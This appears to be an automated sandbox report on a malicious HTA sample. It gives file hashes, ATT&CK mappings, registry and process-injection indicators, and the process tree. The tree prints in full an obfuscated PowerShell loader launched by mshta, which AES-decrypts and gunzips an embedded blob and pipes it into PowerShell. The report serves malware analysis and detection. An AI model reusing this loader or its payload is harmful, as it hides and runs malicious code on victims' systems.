afc48453e2b08d97ee3b4f7ec1d8cb4114a8f6d3ff587ce4b90f52d39d4041fb

General

Target
05022024_2211_fufu.hta
Size 75KB
Sample240205-rhkveshef2
SHA256 afc48453e2b08d97ee3b4f7ec1d8cb4114a8f6d3ff587ce4b90f52d39d4041fb
MD5 a07c36f20a3b3a23a67121498568de52
SHA1 e535ca98e7003dd977956b0b908fcbacd0e16665
SHA512 3646899ece8e2016284bedff73ad2b5db91db8d9adc487ead622a4a332406ca7323ba9d431de1a49810d502f9bcd2944fbc5ea6aec459b62fd5bb266ee0c7b65
SSDEEP 768:t7GFSdFRtWQtv4bfQiOoLbCKWNa3e40gzNU+/unhi1zOz:hGFSdsQtv4pC9N74ZJUti5Oz
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2156	powershell.exe
2628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 2156	1684	mshta.exe	28
PID 1684 wrote to memory of 2156	1684	mshta.exe	28
PID 1684 wrote to memory of 2156	1684	mshta.exe	28
PID 1684 wrote to memory of 2156	1684	mshta.exe	28
PID 2156 wrote to memory of 2628	2156	powershell.exe	30
PID 2156 wrote to memory of 2628	2156	powershell.exe	30
PID 2156 wrote to memory of 2628	2156	powershell.exe	30
PID 2156 wrote to memory of 2628	2156	powershell.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\05022024_2211_fufu.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $wZnLlEP = 'AAAAAAAAAAAAAAAAAAAAAKjO8GSphKaUS2Q/99c08yaF74QUfdC/7TJpr0BIexXotoXpUUr1lzZPemeYniNRPTzO+u94C+QyKge4MRzV3AGeg9FGoOGOvn+M73m7HNtxvwsHCt47tAuRH09iYYSG0w/BawvhkA8ll80IcIedId18DF84C9XsGn56AlkAr8ZeIVbnVbTiLjIJjhLjGKQzV6/UWUPD9XnojEuKrGGuICJnTBT8OUaIQNSyD/Bz61aTPMoZtx0+WA+paWV3s7fc9wxmzrmIkgbkj6fsyKDZUFhMXtenfsGsmFIFTjAlqasLXqusNhuRuc09ryq8ANSKy8pvxA3J3nWVtdeFCnfgJ1u6vgC+JTQNvOMps6H7IpCAkd3UQtiqqQfdbphJqIIkyv6t/BhAibHPDyhUQIyEkegtsMoEApvSdFR+UZBdiRQyYKtzEzxroPmdE66RWPCpm3VsKWQYa17IoYg9v5j8+uO63Zmbzseb2816NhtPu+v0pK9DxzfCfggC/YiL/WrhCP1W+aMRHzgtSh3IMzWqd6Q74+NA7Chxu4ZqCVw50nm6yGE0Sy7gax19LXA+fzDciciabzw29jkZYrT2iNmN3kBwqQpEBVsOc8S1/IKlN665E4V9XW/osx8WIovLzFO5avomt4oMgAlTmSN4XMlqv/CsaJU7jxpVv9H/i0Ij8ksBwfhhNQqIbDDHx1e/dp3WM2PAshRoVlSNVzL0jLbFtxbFZfP89S/h5qk93LfNXUafPJlzQF1aPdu23vLA0MOeIs/o6owAc9w28ckrpyO/U4nk9fJkqLr425QKV2wOgtK4kdMtetIgWrOMD0Thzqf6yR8nssNGL3dXR2S08MjOqtLyO43FK47wsAlU9nNZYE3njsU6NC7wppnMt9ZH228Jk3MxekxHl6lp4F+8lnB2nlM7xAXofh8ONDmwq17mjHkJDzRVjG6YXi/9KDp8Gn/xaIh+m7tsOxRIjfduhZAYYOA=';$dOdBXg = 'VGpZQUlOVERKVGhvRGx5T1dLZFpLemNQV1NmZVFmS1E=';$xwkNnD = New-Object 'System.Security.Cryptography.AesManaged';$xwkNnD.Mode = [System.Security.Cryptography.CipherMode]::ECB;$xwkNnD.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$xwkNnD.BlockSize = 128;$xwkNnD.KeySize = 256;$xwkNnD.Key = [System.Convert]::FromBase64String($dOdBXg);$pCZGI = [System.Convert]::FromBase64String($wZnLlEP);$bPSESAtp = $pCZGI[0..15];$xwkNnD.IV = $bPSESAtp;$tTZpoitHh = $xwkNnD.CreateDecryptor();$utsWucKhE = $tTZpoitHh.TransformFinalBlock($pCZGI, 16, $pCZGI.Length - 16);$xwkNnD.Dispose();$sdUVLsOW = New-Object System.IO.MemoryStream( , $utsWucKhE );$KpoNp = New-Object System.IO.MemoryStream;$BcWOdcPWe = New-Object System.IO.Compression.GzipStream $sdUVLsOW, ([IO.Compression.CompressionMode]::Decompress);$BcWOdcPWe.CopyTo( $KpoNp );$BcWOdcPWe.Close();$sdUVLsOW.Close();[byte[]] $mpOqT = $KpoNp.ToArray();$vggnI = [System.Text.Encoding]::UTF8.GetString($mpOqT);$vggnI | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 0c45ffb2675b39b6d2ef8e9c521186f5c3deb58743f43f1600b2464c88624c47
MD5 270e5d56170caa040263c64fff18cac6
SHA1 9a2b1958f04edd7f6f69097323e5e9f7f7d7a48d
SHA512 2837e179954dc08fac446b0f98e4c5cdb3a57e054b3ad5392601c00fff716776134a28d728a12ec3d707dc356c8b66f0d8bb34891aa710d46d0c0b5b03888e57
SSDEEP 96:85aCNM8qnqvsqvJCwoGf/5aCNM8qnqvsEHyqvJCwor8fvd64QHgA7ScXlUV9:kv+UoGfxv+AHnor8fv7NA7ScC
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2156-2-0x0000000072170000-0x000000007271B000-memory.dmp

Download

memory/2156-3-0x0000000002D80000-0x0000000002DC0000-memory.dmp

Download

memory/2156-4-0x0000000072170000-0x000000007271B000-memory.dmp

Download

memory/2156-5-0x0000000002D80000-0x0000000002DC0000-memory.dmp

Download

memory/2156-15-0x0000000072170000-0x000000007271B000-memory.dmp

Download

memory/2628-11-0x0000000072170000-0x000000007271B000-memory.dmp

Download

memory/2628-12-0x00000000029A0000-0x00000000029E0000-memory.dmp

Download

memory/2628-13-0x0000000072170000-0x000000007271B000-memory.dmp

Download

memory/2628-14-0x0000000072170000-0x000000007271B000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads